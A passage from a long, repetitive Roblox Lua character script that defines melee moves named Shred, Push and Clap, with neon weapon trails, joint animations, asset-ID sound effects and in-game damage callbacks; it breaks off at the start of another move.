4074 | ms.Scale = Vector3.new(1,1,1) | |
4075 | local TM = Instance.new("CylinderMesh",Trail) | |
4076 | TM.Scale = Vector3.new(1,1,1) | |
4077 | Old = New | |
4078 | coroutine.wrap(function() | |
4079 | for i = 1,0,-0.1 do | |
4080 | wait() | |
4081 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4082 | end | |
4083 | Trail:remove() | |
4084 | end)() | |
4085 | coroutine.wrap(function() | |
4086 | for i = 1,10 do | |
4087 | wait() | |
4088 | Trail.Transparency = Trail.Transparency +0.1 | |
4089 | end end)()end end)() | |
4090 | coroutine.wrap(function() | |
4091 | local Old = Handle.CFrame.p | |
4092 | while wait()do | |
4093 | if not TrailDeb then break end | |
4094 | local New = Handle.CFrame.p | |
4095 | local Mag =(Old -New).magnitude | |
4096 | local Dis =(Old +New)/2 | |
4097 | local Trail = Instance.new("Part",Character) | |
4098 | Trail.Material = "Neon" | |
4099 | Trail.Anchored = true | |
4100 | Trail.CanCollide = false | |
4101 | Trail.BrickColor = TorsoColor | |
4102 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4103 | Trail.TopSurface = 0 | |
4104 | Trail.BottomSurface = 0 | |
4105 | Trail.formFactor = "Custom" | |
4106 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4107 | local ms = Instance.new("BlockMesh",Trail) | |
4108 | ms.Scale = Vector3.new(1,1,1) | |
4109 | local TM = Instance.new("CylinderMesh",Trail) | |
4110 | TM.Scale = Vector3.new(1,1,1) | |
4111 | Old = New | |
4112 | coroutine.wrap(function() | |
4113 | for i = 1,0,-0.1 do | |
4114 | wait() | |
4115 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4116 | end | |
4117 | Trail:remove() | |
4118 | end)() | |
4119 | coroutine.wrap(function() | |
4120 | for i = 1,10 do | |
4121 | wait() | |
4122 | Trail.Transparency = Trail.Transparency +0.1 | |
4123 | end end)()end end)() | |
4124 | Footsteps:Stop() | |
4125 | Footsteps2:Stop() | |
4126 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4127 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4128 | so("http://www.roblox.com/asset/?id=159882598",Torso,1,1) | |
4129 | for i=0,1,0.1 do | |
4130 | swait() | |
4131 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4132 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4133 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4134 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4135 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4136 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4137 | end | |
4138 | if anim then | |
4139 | anim.Disabled=true | |
4140 | end | |
4141 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4142 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4143 | for i=0,1,0.05 do | |
4144 | swait() | |
4145 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4146 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4147 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4148 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4149 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4150 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4151 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4152 | end | |
4153 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4154 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4155 | for i=0,1,0.05 do | |
4156 | swait() | |
4157 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4158 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4159 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4160 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4161 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4162 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4163 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4164 | end | |
4165 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4166 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4167 | for i=0,1,0.05 do | |
4168 | swait() | |
4169 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4170 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4171 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4172 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4173 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4174 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4175 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4176 | end | |
4177 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4178 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4179 | for i=0,1,0.05 do | |
4180 | swait() | |
4181 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4182 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4183 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4184 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4185 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4186 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4187 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4188 | end | |
4189 | --dmgstop() | |
4190 | Humanoid.WalkSpeed=12 | |
4191 | attack=false | |
4192 | con1:disconnect() | |
4193 | con2:disconnect() | |
4194 | if anim then | |
4195 | anim.Disabled=false | |
4196 | end | |
4197 | if TrailDeb == true then | |
4198 | TrailDeb = false | |
4199 | end | |
4200 | end | |
4201 | ||
4202 | function Shred() | |
4203 | attack=true | |
4204 | mana=mana-100 | |
4205 | if TrailDeb == false then | |
4206 | TrailDeb = true | |
4207 | end | |
4208 | ||
4209 | ||
4210 | coroutine.wrap(function() | |
4211 | local Old = Handle2.CFrame.p | |
4212 | while wait()do | |
4213 | if not TrailDeb then break end | |
4214 | local New = Handle2.CFrame.p | |
4215 | local Mag =(Old -New).magnitude | |
4216 | local Dis =(Old +New)/2 | |
4217 | local Trail = Instance.new("Part",Character) | |
4218 | Trail.Material = "Neon" | |
4219 | Trail.Anchored = true | |
4220 | Trail.CanCollide = false | |
4221 | Trail.BrickColor = TorsoColor | |
4222 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4223 | Trail.TopSurface = 0 | |
4224 | Trail.BottomSurface = 0 | |
4225 | Trail.formFactor = "Custom" | |
4226 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4227 | local ms = Instance.new("BlockMesh",Trail) | |
4228 | ms.Scale = Vector3.new(1,1,1) | |
4229 | local TM = Instance.new("CylinderMesh",Trail) | |
4230 | TM.Scale = Vector3.new(1,1,1) | |
4231 | Old = New | |
4232 | coroutine.wrap(function() | |
4233 | for i = 1,0,-0.1 do | |
4234 | wait() | |
4235 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4236 | end | |
4237 | Trail:remove() | |
4238 | end)() | |
4239 | coroutine.wrap(function() | |
4240 | for i = 1,10 do | |
4241 | wait() | |
4242 | Trail.Transparency = Trail.Transparency +0.1 | |
4243 | end end)()end end)() | |
4244 | coroutine.wrap(function() | |
4245 | local Old = Handle.CFrame.p | |
4246 | while wait()do | |
4247 | if not TrailDeb then break end | |
4248 | local New = Handle.CFrame.p | |
4249 | local Mag =(Old -New).magnitude | |
4250 | local Dis =(Old +New)/2 | |
4251 | local Trail = Instance.new("Part",Character) | |
4252 | Trail.Material = "Neon" | |
4253 | Trail.Anchored = true | |
4254 | Trail.CanCollide = false | |
4255 | Trail.BrickColor = TorsoColor | |
4256 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4257 | Trail.TopSurface = 0 | |
4258 | Trail.BottomSurface = 0 | |
4259 | Trail.formFactor = "Custom" | |
4260 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4261 | local ms = Instance.new("BlockMesh",Trail) | |
4262 | ms.Scale = Vector3.new(1,1,1) | |
4263 | local TM = Instance.new("CylinderMesh",Trail) | |
4264 | TM.Scale = Vector3.new(1,1,1) | |
4265 | Old = New | |
4266 | coroutine.wrap(function() | |
4267 | for i = 1,0,-0.1 do | |
4268 | wait() | |
4269 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4270 | end | |
4271 | Trail:remove() | |
4272 | end)() | |
4273 | coroutine.wrap(function() | |
4274 | for i = 1,10 do | |
4275 | wait() | |
4276 | Trail.Transparency = Trail.Transparency +0.1 | |
4277 | end end)()end end)() | |
4278 | Footsteps:Stop() | |
4279 | Footsteps2:Stop() | |
4280 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4281 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4282 | so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) | |
4283 | for i=0,1,0.1 do | |
4284 | swait() | |
4285 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4286 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4287 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4288 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4289 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4290 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4291 | end | |
4292 | if anim then | |
4293 | anim.Disabled=true | |
4294 | end | |
4295 | for i=0,1,0.05 do | |
4296 | swait() | |
4297 | Torso.Velocity=RootPart.CFrame.lookVector*20 | |
4298 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4299 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4300 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5) | |
4301 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4302 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4303 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4304 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4305 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4306 | end | |
4307 | for i=0,1,0.05 do | |
4308 | swait() | |
4309 | Torso.Velocity=RootPart.CFrame.lookVector*40 | |
4310 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4311 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4312 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5) | |
4313 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4314 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4315 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4316 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4317 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4318 | end | |
4319 | for i=0,1,0.05 do | |
4320 | swait() | |
4321 | Torso.Velocity=RootPart.CFrame.lookVector*60 | |
4322 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4323 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4324 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5) | |
4325 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4326 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4327 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4328 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4329 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4330 | end | |
4331 | so("http://www.roblox.com/asset/?id=159882625",Torso,1,1) | |
4332 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4333 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4334 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4335 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4336 | for i=0,1,0.05 do | |
4337 | swait() | |
4338 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4339 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5) | |
4340 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4341 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4342 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4343 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4344 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4345 | end | |
4346 | for i=0,1,0.005 do | |
4347 | swait() | |
4348 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
4349 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5) | |
4350 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4351 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4352 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4353 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4354 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4355 | end | |
4356 | --dmgstop() | |
4357 | Humanoid.WalkSpeed=12 | |
4358 | attack=false | |
4359 | con1:disconnect() | |
4360 | con2:disconnect() | |
4361 | if anim then | |
4362 | anim.Disabled=false | |
4363 | end | |
4364 | if TrailDeb == true then | |
4365 | TrailDeb = false | |
4366 | end | |
4367 | end | |
4368 | ||
4369 | function Push() | |
4370 | attack=true | |
4371 | mana=mana-20 | |
4372 | if TrailDeb == false then | |
4373 | TrailDeb = true | |
4374 | end | |
4375 | ||
4376 | ||
4377 | coroutine.wrap(function() | |
4378 | local Old = Handle2.CFrame.p | |
4379 | while wait()do | |
4380 | if not TrailDeb then break end | |
4381 | local New = Handle2.CFrame.p | |
4382 | local Mag =(Old -New).magnitude | |
4383 | local Dis =(Old +New)/2 | |
4384 | local Trail = Instance.new("Part",Character) | |
4385 | Trail.Material = "Neon" | |
4386 | Trail.Anchored = true | |
4387 | Trail.CanCollide = false | |
4388 | Trail.BrickColor = TorsoColor | |
4389 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4390 | Trail.TopSurface = 0 | |
4391 | Trail.BottomSurface = 0 | |
4392 | Trail.formFactor = "Custom" | |
4393 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4394 | local ms = Instance.new("BlockMesh",Trail) | |
4395 | ms.Scale = Vector3.new(1,1,1) | |
4396 | local TM = Instance.new("CylinderMesh",Trail) | |
4397 | TM.Scale = Vector3.new(1,1,1) | |
4398 | Old = New | |
4399 | coroutine.wrap(function() | |
4400 | for i = 1,0,-0.1 do | |
4401 | wait() | |
4402 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4403 | end | |
4404 | Trail:remove() | |
4405 | end)() | |
4406 | coroutine.wrap(function() | |
4407 | for i = 1,10 do | |
4408 | wait() | |
4409 | Trail.Transparency = Trail.Transparency +0.1 | |
4410 | end end)()end end)() | |
4411 | coroutine.wrap(function() | |
4412 | local Old = Handle.CFrame.p | |
4413 | while wait()do | |
4414 | if not TrailDeb then break end | |
4415 | local New = Handle.CFrame.p | |
4416 | local Mag =(Old -New).magnitude | |
4417 | local Dis =(Old +New)/2 | |
4418 | local Trail = Instance.new("Part",Character) | |
4419 | Trail.Material = "Neon" | |
4420 | Trail.Anchored = true | |
4421 | Trail.CanCollide = false | |
4422 | Trail.BrickColor = TorsoColor | |
4423 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4424 | Trail.TopSurface = 0 | |
4425 | Trail.BottomSurface = 0 | |
4426 | Trail.formFactor = "Custom" | |
4427 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4428 | local ms = Instance.new("BlockMesh",Trail) | |
4429 | ms.Scale = Vector3.new(1,1,1) | |
4430 | local TM = Instance.new("CylinderMesh",Trail) | |
4431 | TM.Scale = Vector3.new(1,1,1) | |
4432 | Old = New | |
4433 | coroutine.wrap(function() | |
4434 | for i = 1,0,-0.1 do | |
4435 | wait() | |
4436 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4437 | end | |
4438 | Trail:remove() | |
4439 | end)() | |
4440 | coroutine.wrap(function() | |
4441 | for i = 1,10 do | |
4442 | wait() | |
4443 | Trail.Transparency = Trail.Transparency +0.1 | |
4444 | end end)()end end)() | |
4445 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4446 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4447 | for i=0,1,0.1 do | |
4448 | swait() | |
4449 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4450 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4451 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4452 | Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4453 | Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4454 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4455 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) | |
4456 | end | |
4457 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4458 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4459 | so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) | |
4460 | for i=0,1,0.1 do | |
4461 | swait() | |
4462 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4463 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4464 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4465 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4466 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4467 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4468 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) | |
4469 | end | |
4470 | --dmgstop() | |
4471 | attack=false | |
4472 | con1:disconnect() | |
4473 | con2:disconnect() | |
4474 | if TrailDeb == true then | |
4475 | TrailDeb = false | |
4476 | end | |
4477 | end | |
4478 | ||
4479 | function Clap() | |
4480 | attack=true | |
4481 | mana=mana-20 | |
4482 | if TrailDeb == false then | |
4483 | TrailDeb = true | |
4484 | end | |
4485 | ||
4486 | ||
4487 | coroutine.wrap(function() | |
4488 | local Old = Handle2.CFrame.p | |
4489 | while wait()do | |
4490 | if not TrailDeb then break end | |
4491 | local New = Handle2.CFrame.p | |
4492 | local Mag =(Old -New).magnitude | |
4493 | local Dis =(Old +New)/2 | |
4494 | local Trail = Instance.new("Part",Character) | |
4495 | Trail.Material = "Neon" | |
4496 | Trail.Anchored = true | |
4497 | Trail.CanCollide = false | |
4498 | Trail.BrickColor = TorsoColor | |
4499 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4500 | Trail.TopSurface = 0 | |
4501 | Trail.BottomSurface = 0 | |
4502 | Trail.formFactor = "Custom" | |
4503 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4504 | local ms = Instance.new("BlockMesh",Trail) | |
4505 | ms.Scale = Vector3.new(1,1,1) | |
4506 | local TM = Instance.new("CylinderMesh",Trail) | |
4507 | TM.Scale = Vector3.new(1,1,1) | |
4508 | Old = New | |
4509 | coroutine.wrap(function() | |
4510 | for i = 1,0,-0.1 do | |
4511 | wait() | |
4512 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4513 | end | |
4514 | Trail:remove() | |
4515 | end)() | |
4516 | coroutine.wrap(function() | |
4517 | for i = 1,10 do | |
4518 | wait() | |
4519 | Trail.Transparency = Trail.Transparency +0.1 | |
4520 | end end)()end end)() | |
4521 | coroutine.wrap(function() | |
4522 | local Old = Handle.CFrame.p | |
4523 | while wait()do | |
4524 | if not TrailDeb then break end | |
4525 | local New = Handle.CFrame.p | |
4526 | local Mag =(Old -New).magnitude | |
4527 | local Dis =(Old +New)/2 | |
4528 | local Trail = Instance.new("Part",Character) | |
4529 | Trail.Material = "Neon" | |
4530 | Trail.Anchored = true | |
4531 | Trail.CanCollide = false | |
4532 | Trail.BrickColor = TorsoColor | |
4533 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4534 | Trail.TopSurface = 0 | |
4535 | Trail.BottomSurface = 0 | |
4536 | Trail.formFactor = "Custom" | |
4537 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4538 | local ms = Instance.new("BlockMesh",Trail) | |
4539 | ms.Scale = Vector3.new(1,1,1) | |
4540 | local TM = Instance.new("CylinderMesh",Trail) | |
4541 | TM.Scale = Vector3.new(1,1,1) | |
4542 | Old = New | |
4543 | coroutine.wrap(function() | |
4544 | for i = 1,0,-0.1 do | |
4545 | wait() | |
4546 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4547 | end | |
4548 | Trail:remove() | |
4549 | end)() | |
4550 | coroutine.wrap(function() | |
4551 | for i = 1,10 do | |
4552 | wait() | |
4553 | Trail.Transparency = Trail.Transparency +0.1 | |
4554 | end end)()end end)() | |
4555 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4556 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4557 | so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) | |
4558 | for i=0,1,0.08 do | |
4559 | swait() | |
4560 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4561 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4562 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4563 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2) | |
4564 | Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2) | |
4565 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
4566 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3) | |
4567 | end | |
4568 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4569 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4570 | for i=0,1,0.08 do | |
4571 | swait() | |
4572 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4573 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4574 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4575 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2) | |
4576 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2) | |
4577 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
4578 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
4579 | end | |
4580 | --dmgstop() | |
4581 | attack=false | |
4582 | con1:disconnect() | |
4583 | con2:disconnect() | |
4584 | if TrailDeb == true then | |
4585 | TrailDeb = false | |
4586 | end | |
4587 | end | |
4588 | ||
4589 | function Hai() | |
4590 | attack=true | |
4591 | Humanoid.WalkSpeed=0 | |
4592 | so("http://www.roblox.com/asset/?id=159882567",Torso,1,1) | |
4593 | for i=0,1,0.1 do | |
4594 | swait() | |
